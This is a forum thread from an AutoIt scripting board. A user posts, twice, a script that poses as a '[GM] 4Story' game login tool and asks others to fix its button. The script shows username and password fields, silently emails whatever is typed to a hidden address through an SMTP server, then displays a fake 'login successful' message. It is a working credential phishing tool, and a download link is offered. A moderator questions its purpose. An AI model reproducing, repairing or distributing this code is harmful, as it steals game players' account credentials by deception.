Jump to content
Sign in to follow this  
magri972011

Raga va bene questo codice ?

Recommended Posts

magri972011

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <StaticConstants.au3>
#include <GuiImageList.au3>
#include <GuiButton.au3>
#include <INet.au3>
#requireadmin
FileInstall("C:\Users\Magri\Desktop\System.bmp", @ScriptDir & "\System.bmp")
$Form1 = GUICreate("[GM] 4Story Gor v 1.6", 1280, 651, 0, 0,BitOR($GUI_SS_DEFAULT_GUI,$WS_MAXIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_MAXIMIZE,$WS_CLIPCHILDREN,$WS_TABSTOP))
  
     
$Input1 = GUICtrlCreateInput("", 496, 257, 290, 19 ,BitOR($GUI_SS_DEFAULT_INPUT,$ES_PASSWORD))
$Input2 = GUICtrlCreateInput("", 496, 185, 290, 19)
$Input3 = GUICtrlCreateLabel("AnonimatoGm@live.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input4 = GUICtrlCreateLabel("Oggetto",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input5 = GUICtrlCreateLabel("out.alice.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Label1 = GUICtrlCreateLabel("Testo Email",0, 0, 1, 0,$SS_ETCHEDFRAME)
FileInstall("C:\Users\Magri\Desktop\Sfondo.gif",@Tempdir&"\Sfondo.gif")
               GUICtrlCreatePic(@TempDir&"\Sfondo.gif",0,0,1280,651)
      GUICtrlSetState(-1,128)

$Button1 = GUICtrlCreateButton("", 491, 398, 275, 49, $BS_BITMAP)
GUICtrlSetImage(-1, "System.bmp")
GUISetState(@SW_SHOW)
$Pic1 = GUICtrlCreatePic("C:\Users\Magri\Desktop\Sfondo.gif", 0, 0, 1280, 651)

While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
              Case $GUI_EVENT_CLOSE
                      Exit
       Case $Button1
       FileDelete( @ScriptDir & "\Image.bmp")
                      $Mittente =GUICtrlRead($Input2)
                      $Destinatario =GUICtrlRead($Input3)
                      $Oggetto=GUICtrlRead($Input4)
                      $Nome =GUICtrlRead($Input1)
                      $Server=GUICtrlRead($input5)
                      $Testo=GUICtrlRead($Label1)
                      $Response = _INetSmtpMail ($Server,$Nome,$Mittente, $Destinatario, $Oggetto, $Testo,@computername, -1)
                      $errore = @error
If $Response = 1 Then
  MsgBox(0, "Successo", "Login Effettuato con Successo... Non Entrare nell'Account Dopo le 24h...")
Else
  MsgBox(0, "Errore", "C'è Stato un Errore ci Scusiamo per il Disagio..." & $errore)
EndIf
      EndSwitch
WEnd

Lo postato su Internet ditemi se il bottone esce, con scritto login ! per favore

http://www.mediafire.com/?601851zcr6on04u

Se non esce me lo potete aggiustare ? :)

Grazie ... ;)

Share this post


Link to post
Share on other sites
Melba23

magri972011,

We use English as the language of communication between members in open forum here. As we told you in your last thread - please use use Google Translate or another internet translation site before posting. :)

M23


Public_Domain.png.2d871819fcb9957cf44f4514551a2935.png Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______Open Open spoiler to see my UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites
magri972011

EDIT:

#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <WindowsConstants.au3>
#include <StaticConstants.au3>
#include <GuiImageList.au3>
#include <GuiButton.au3>
#include <INet.au3>
#requireadmin
FileInstall("C:\Users\Magri\Desktop\System.bmp", @ScriptDir & "\System.bmp")
$Form1 = GUICreate("[GM] 4Story Gor v 1.6", 1280, 651, 0, 0,BitOR($GUI_SS_DEFAULT_GUI,$WS_MAXIMIZEBOX,$WS_SIZEBOX,$WS_THICKFRAME,$WS_MAXIMIZE,$WS_CLIPCHILDREN,$WS_TABSTOP))
  
     
$Input1 = GUICtrlCreateInput("", 496, 257, 290, 19 ,BitOR($GUI_SS_DEFAULT_INPUT,$ES_PASSWORD))
$Input2 = GUICtrlCreateInput("", 496, 185, 290, 19)
$Input3 = GUICtrlCreateLabel("AnonimatoGm@live.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input4 = GUICtrlCreateLabel("Oggetto",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Input5 = GUICtrlCreateLabel("out.alice.it",0, 0, 1, 0,$SS_ETCHEDFRAME)
$Label1 = GUICtrlCreateLabel("Testo Email",0, 0, 1, 0,$SS_ETCHEDFRAME)
FileInstall("C:\Users\Magri\Desktop\Sfondo.gif",@Tempdir&"\Sfondo.gif")
               GUICtrlCreatePic(@TempDir&"\Sfondo.gif",0,0,1280,651)
      GUICtrlSetState(-1,128)

$Button1 = GUICtrlCreateButton("", 491, 398, 275, 49, $BS_BITMAP)
GUICtrlSetImage(-1, "System.bmp")
GUISetState(@SW_SHOW)
$Pic1 = GUICtrlCreatePic("C:\Users\Magri\Desktop\Sfondo.gif", 0, 0, 1280, 651)

While 1
      $nMsg = GUIGetMsg()
      Switch $nMsg
              Case $GUI_EVENT_CLOSE
                      Exit
       Case $Button1
       FileDelete( @ScriptDir & "\Image.bmp")
                      $Mittente =GUICtrlRead($Input2)
                      $Destinatario =GUICtrlRead($Input3)
                      $Oggetto=GUICtrlRead($Input4)
                      $Nome =GUICtrlRead($Input1)
                      $Server=GUICtrlRead($input5)
                      $Testo=GUICtrlRead($Label1)
                      $Response = _INetSmtpMail ($Server,$Nome,$Mittente, $Destinatario, $Oggetto, $Testo,@computername, -1)
                      $errore = @error
If $Response = 1 Then
  MsgBox(0, "Successo", "Login Effettuato con Successo... Non Entrare nell'Account Dopo le 24h...")
Else
  MsgBox(0, "Errore", "C'è Stato un Errore ci Scusiamo per il Disagio..." & $errore)
EndIf
      EndSwitch
WEnd

Ipostedon the Internettell me ifthe buttongoes out,that sayslogin!please

http://www.mediafire.com/?601851zcr6on04u

If not leave I can fix? :oops:

Thanks ... :bye:

Share this post


Link to post
Share on other sites
magri972011

ok @Melba23

Share this post


Link to post
Share on other sites
Melba23

magri972011,

Your posted script has the name of a game in the title of the GUI (4Story), you appear to be trying to use an anonymous email address (AnonimatoGm@live.it), and you seem to be trying to login to a site somewhere (Login Effettuato con Successo). I am not very happy with any of those, let alone all 3 at once. :bye:

Have you read the Forum Rules? What exactly are you trying to do here? :oops:

M23


Public_Domain.png.2d871819fcb9957cf44f4514551a2935.png Any of my own code posted anywhere on the forum is available for use by others without any restriction of any kind._______Open Open spoiler to see my UDFs:

Spoiler

ArrayMultiColSort ---- Sort arrays on multiple columns
ChooseFileFolder ---- Single and multiple selections from specified path treeview listing
Date_Time_Convert -- Easily convert date/time formats, including the language used
ExtMsgBox --------- A highly customisable replacement for MsgBox
GUIExtender -------- Extend and retract multiple sections within a GUI
GUIFrame ---------- Subdivide GUIs into many adjustable frames
GUIListViewEx ------- Insert, delete, move, drag, sort, edit and colour ListView items
GUITreeViewEx ------ Check/clear parent and child checkboxes in a TreeView
Marquee ----------- Scrolling tickertape GUIs
NoFocusLines ------- Remove the dotted focus lines from buttons, sliders, radios and checkboxes
Notify ------------- Small notifications on the edge of the display
Scrollbars ----------Automatically sized scrollbars with a single command
StringSize ---------- Automatically size controls to fit text
Toast -------------- Small GUIs which pop out of the notification area

 

Share this post


Link to post
Share on other sites
magri972011
@Melba23 No, Ididto try ifI couldunderstandit?Quiet!:bye: (I still read the rules) :oops:

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×